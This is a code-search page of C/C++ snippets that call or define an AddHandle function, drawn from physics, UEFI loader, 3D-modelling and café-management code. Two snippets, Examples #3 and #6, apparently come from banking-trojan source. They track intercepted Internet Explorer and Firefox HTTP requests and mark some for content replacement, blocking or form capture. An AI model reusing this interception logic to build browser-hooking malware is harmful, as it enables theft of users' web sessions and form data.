Example #1
0
BroadphaseProxy*	AxisSweep3::CreateProxy(  const SimdVector3& min,  const SimdVector3& max,int shapeType,void* userPtr,short int collisionFilterGroup,short int collisionFilterMask)
{
		unsigned short handleId = AddHandle(min,max, userPtr,collisionFilterGroup,collisionFilterMask);
		
		Handle* handle = GetHandle(handleId);
				
		return handle;
}
Example #2
0
/**
  Loads the image using dlopen so symbols will be automatically
  loaded by gdb.

  @param  ImageContext  The PE/COFF image context

  @retval TRUE - The image was successfully loaded
  @retval FALSE - The image was successfully loaded

**/
BOOLEAN
DlLoadImage (
  IN OUT PE_COFF_LOADER_IMAGE_CONTEXT         *ImageContext
  )
{

#ifdef __APPLE__

  return FALSE;

#else

  void        *Handle = NULL;
  void        *Entry = NULL;

  if (ImageContext->PdbPointer == NULL) {
    return FALSE;
  }

  if (!IsPdbFile (ImageContext->PdbPointer)) {
    return FALSE;
  }

  fprintf (
     stderr,
     "Loading %s 0x%08lx - entry point 0x%08lx\n",
     ImageContext->PdbPointer,
     (unsigned long)ImageContext->ImageAddress,
     (unsigned long)ImageContext->EntryPoint
     );

  Handle = dlopen (ImageContext->PdbPointer, RTLD_NOW);
  if (Handle != NULL) {
    Entry = dlsym (Handle, "_ModuleEntryPoint");
    AddHandle (ImageContext, Handle);
  } else {
    printf("%s\n", dlerror());
  }

  if (Entry != NULL) {
    ImageContext->EntryPoint = (UINTN)Entry;
    printf ("Change %s Entrypoint to :0x%08lx\n", ImageContext->PdbPointer, (unsigned long)Entry);
    return TRUE;
  } else {
    return FALSE;
  }

#endif
}
Example #3
0
//
//	Checks if the specified request handle should be processed, and adds it into the Handle Table.
//
static PHANDLE_CONTEXT IeCheckAddHandle(
	HANDLE	hRequest,	// Handle to HTTP request
	LPSTR	pReferer	// HTTP referer string
	)
{
	PHANDLE_CONTEXT	Ctx = NULL;
	PVOID	tCtx = NULL;
	ULONG	Status;

	if ((Status = IeCheckURL(hRequest, pReferer, &tCtx)) && Status != URL_STATUS_POST_BLOCK)
	{
		if (Ctx = AddHandle(hRequest))
		{
			if (Ctx->Flags & CF_IE)
			{
				// Handle seems to be reused
				StreamClear(Ctx->pStream);
				if (Ctx->Url)
					hFree(Ctx->Url);

				if (Ctx->tCtx)
				{
					TransferReleaseContext(Ctx->tCtx);
					hFree(Ctx->tCtx);
					Ctx->tCtx = NULL;
				}	// if (Ctx->tCtx)
			}	// if (Ctx->Flags & CF_IE)

			Ctx->tCtx = tCtx;
			Ctx->Flags = CF_IE;

			if (Status == URL_STATUS_REPLACE)
				Ctx->Flags |= CF_REPLACE;

			if (Status == URL_STATUS_BLOCK)
				Ctx->Status = REQUEST_BLOCKED;
			else
				Ctx->Status = UNKNOWN_STATUS;

			Ctx->Url = NULL;
		}
		else
		{
			ASSERT(FALSE);
		}
	}	// if (IeCheckURL(hRequest, tCtx))
	return(Ctx);
}
Example #4
0
/*++

Routine Description:
  Store the ModHandle in an array indexed by the Pdb File name.
  The ModHandle is needed to unload the image.

Arguments:
  ImageContext - Input data returned from PE Laoder Library. Used to find the
                 .PDB file name of the PE Image.
  ModHandle    - Returned from LoadLibraryEx() and stored for call to
                 FreeLibrary().

Returns:
  EFI_SUCCESS - ModHandle was stored.

**/
EFI_STATUS
AddHandle (
  IN  PE_COFF_LOADER_IMAGE_CONTEXT         *ImageContext,
  IN  VOID                                 *ModHandle
  )
{
  UINTN                       Index;
  IMAGE_CONTEXT_TO_MOD_HANDLE *Array;
  UINTN                       PreviousSize;


  Array = mImageContextModHandleArray;
  for (Index = 0; Index < mImageContextModHandleArraySize; Index++, Array++) {
    if (Array->ImageContext == NULL) {
      //
      // Make a copy of the stirng and store the ModHandle
      //
      Array->ImageContext = ImageContext;
      Array->ModHandle    = ModHandle;
      return EFI_SUCCESS;
    }
  }

  //
  // No free space in mImageContextModHandleArray so grow it by
  // IMAGE_CONTEXT_TO_MOD_HANDLE entires. realloc will
  // copy the old values to the new locaiton. But it does
  // not zero the new memory area.
  //
  PreviousSize = mImageContextModHandleArraySize * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE);
  mImageContextModHandleArraySize += MAX_IMAGE_CONTEXT_TO_MOD_HANDLE_ARRAY_SIZE;

  mImageContextModHandleArray = ReallocatePool (
                                  (mImageContextModHandleArraySize - 1) * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE),
                                  mImageContextModHandleArraySize * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE),
                                  mImageContextModHandleArray
                                  );
  if (mImageContextModHandleArray == NULL) {
    ASSERT (FALSE);
    return EFI_OUT_OF_RESOURCES;
  }

  memset (mImageContextModHandleArray + PreviousSize, 0, MAX_IMAGE_CONTEXT_TO_MOD_HANDLE_ARRAY_SIZE * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE));

  return AddHandle (ImageContext, ModHandle);
}
Example #5
0
void
ConeDistanceManipulator::Transform(TimeValue t, Point3& p, ViewExp* pVpt)
{
    Ray viewRay;  // The viewing vector in local coords

    IPoint2 screenPt = GetMousePos();
    pVpt->MapScreenToWorldRay((float)screenPt.x, (float)screenPt.y, viewRay);
    Matrix3 tm;

    tm = mpINode->GetObjectTM(t);

    // Transform view ray to local coords
    tm = Inverse(tm);
    viewRay.p = viewRay.p * tm;
    tm.SetTrans(Point3(0,0,0));
    viewRay.dir = viewRay.dir * tm;

    Point3 orthogViewDir = viewRay.dir;
    orthogViewDir.z = 0.0;
//    Plane& projPlane = Plane::msXZPlane.MostOrthogonal(viewRay, Plane::msYZPlane);
    Plane projPlane(orthogViewDir, mDistance * mDirection);

    Point3 newP;
    bool b = projPlane.Intersect(viewRay, newP);
    if (!b)
        return;

    float newDist = -newP.z;
    SetDistance(newDist);

    // Add a "handle"
    Point3 center(0.0f, 0.0f, -newDist);
    Plane conePlane(mDirection, center);
    bool res = conePlane.Intersect(viewRay, newP);

    if (!res)
        return;

    AddHandle(center, newP, pVpt);
}
Example #6
0
//
//	Queries and checks specified request's URL. Creates a HANDLE_CONTEXT if the URL matches config settings.
//
static PHANDLE_CONTEXT	FfCheckAddHandle(
	HANDLE			Handle,		//	handle of a HTTP request to check
	PHTTP_HEADERS	Headers,	//	pointer to HTTP_HEADERS structure for the specfied request
	ULONG			Flags,		//	a combination of CF_XXX flags
	BOOL			IsSsl		//	TRUE if this is an SSL connection
	)
{
	PHANDLE_CONTEXT	Ctx = NULL;
	ULONG	Status;
	PVOID	tCtx = NULL;
	LPSTR	Referer = NULL;

	ASSERT_HTTP_HEADERS(Headers);
	ASSERT(Headers->Url);

	// Looking for referer header
	if (Headers->pReferer && Headers->RefererSize)
	{
		// Allocating and copying referer string
		if (Referer = hAlloc(Headers->RefererSize + sizeof(CHAR)))
		{
			memcpy(Referer, Headers->pReferer, Headers->RefererSize);
			Referer[Headers->RefererSize] = 0;
		}
	}

	Status = ConfigCheckInitUrl(Headers->Url, Referer, IsSsl, &tCtx);
	if ((Status || (Flags & CF_FORM)) && (Status != URL_STATUS_POST_BLOCK) && (Ctx = AddHandle(Handle)))
	{
		// Saving the URL for future use
		if (Ctx->Url)
		{
			// Handle seems to be reused, releasing URL
			hFree(Ctx->Url);
			Ctx->cTotal = 0;
			Ctx->cActive = 0;
			Ctx->Flags = Flags;
		}
		else
		{
			ASSERT(Ctx->Flags == 0);
		}

		if (Ctx->tCtx)
		{
			TransferReleaseContext(Ctx->tCtx);
			hFree(Ctx->tCtx);
			Ctx->tCtx = NULL;
		}

		Ctx->tCtx = tCtx;
		Ctx->Url = Headers->Url;

		if (Status == URL_STATUS_REPLACE)
			Ctx->Flags |= CF_REPLACE;
		else if (Status == URL_STATUS_BLOCK)
			Ctx->Status = REQUEST_BLOCKED;
		else 
		{
			if (Status == URL_STATUS_UNDEF)
			{
				ASSERT(Flags & CF_FORM);
				Ctx->Flags = CF_FORM;
			}
			Ctx->Status = UNKNOWN_STATUS;
		}

		Headers->Url = NULL;
	}	// if ((Status || (Flags & CF_FORM)) && (Ctx = AddHandle(Handle)))
	
	if (Referer)
		hFree(Referer);

	return(Ctx);
}
void CCommandProcessor::AddHandles()
{
	AddHandle(S_RESPOND_COMPUT_LIST,        &CCommandProcessor::OnGetComputerList);
	AddHandle(S_RESPOND_LOGIN_SUCCEED,      &CCommandProcessor::OnLogin);
	AddHandle(S_RESPOND_CLIENT_LOGIN,       &CCommandProcessor::OnClientLogin);
	AddHandle(S_RESPOND_CLIENT_DISCONNECT,  &CCommandProcessor::OnClientDisconnect);
	AddHandle(S_RESPOND_CLIENT_UPDATEDATA,  &CCommandProcessor::OnClientUpdateData);
	AddHandle(S_RESPOND_CLIENT_CHECKOUT,    &CCommandProcessor::OnClientCheckout);
	AddHandle(S_RESPOND_MAN_CHECKIN,        &CCommandProcessor::OnCheckinResp);
	AddHandle(S_RESPOND_QUESTION_COMPUTER,  &CCommandProcessor::OnQuestionComputer);
	AddHandle(C_MANAGER_GET_COMPUTER_COUNT, &CCommandProcessor::OnGetComputerCount);
	AddHandle(C_MANAGER_GET_PCCLASSMAP,     &CCommandProcessor::OnTermIDPCClassMap);
	AddHandle(C_MANGER_MANUALUNLOCAL,       &CCommandProcessor::OnTermUnLock);
	AddHandle(S_RESPOND_CLIENT_SHORTMESSAGE,&CCommandProcessor::OnClientShortMessage);
	AddHandle(S_RESPOND_MAN_SHORTMSG,       &CCommandProcessor::OnSendShortMsgResp);
	AddHandle(S_RESPOND_CAPTURE_SCREEN,     &CCommandProcessor::OnRespondCaptureScreen);
	AddHandle(S_RESPOND_GET_LOG,            &CCommandProcessor::OnRespondGetLog);
	AddHandle(S_RESPOND_PING_CLIENT,        &CCommandProcessor::OnPingClientResp);
	AddHandle(S_NEWNOTICE_MSG,       &CCommandProcessor::OnGetNewNotice);
	//AddHandle(S_RESPOND_PONG, &CCommandProcessor::OnPing);
	//AddHandle(C_MANAGER_GET_PCCLASSNAME, &CCommandProcessor::OnGetPCClassName);
	//AddHandle(S_RESPOND_CHECK_MANAGER_PASSWORD, &CCommandProcessor::OnCheckManagerPwdResp);
	//AddHandle(S_RESPOND_SET_MANAGER_PASSWORD, &CCommandProcessor::OnSetManagerPwdResp);
	//AddHandle(S_RESPOND_GET_MEMBER_CLASSES, &CCommandProcessor::OnGetMemberClassesResp);
	
	//AddHandle(C_MANAGER_QUESTIIOIN_AMOUNT, &CCommandProcessor::OnQuestionAmount);
	//AddHandle(C_MANAGER_GET_IP2TERMID, &CCommandProcessor::OnGetIP2TermID);
	AddHandle(S_AUTO_RETURN_MSG,            &CCommandProcessor::OnAutoReturnResp);
}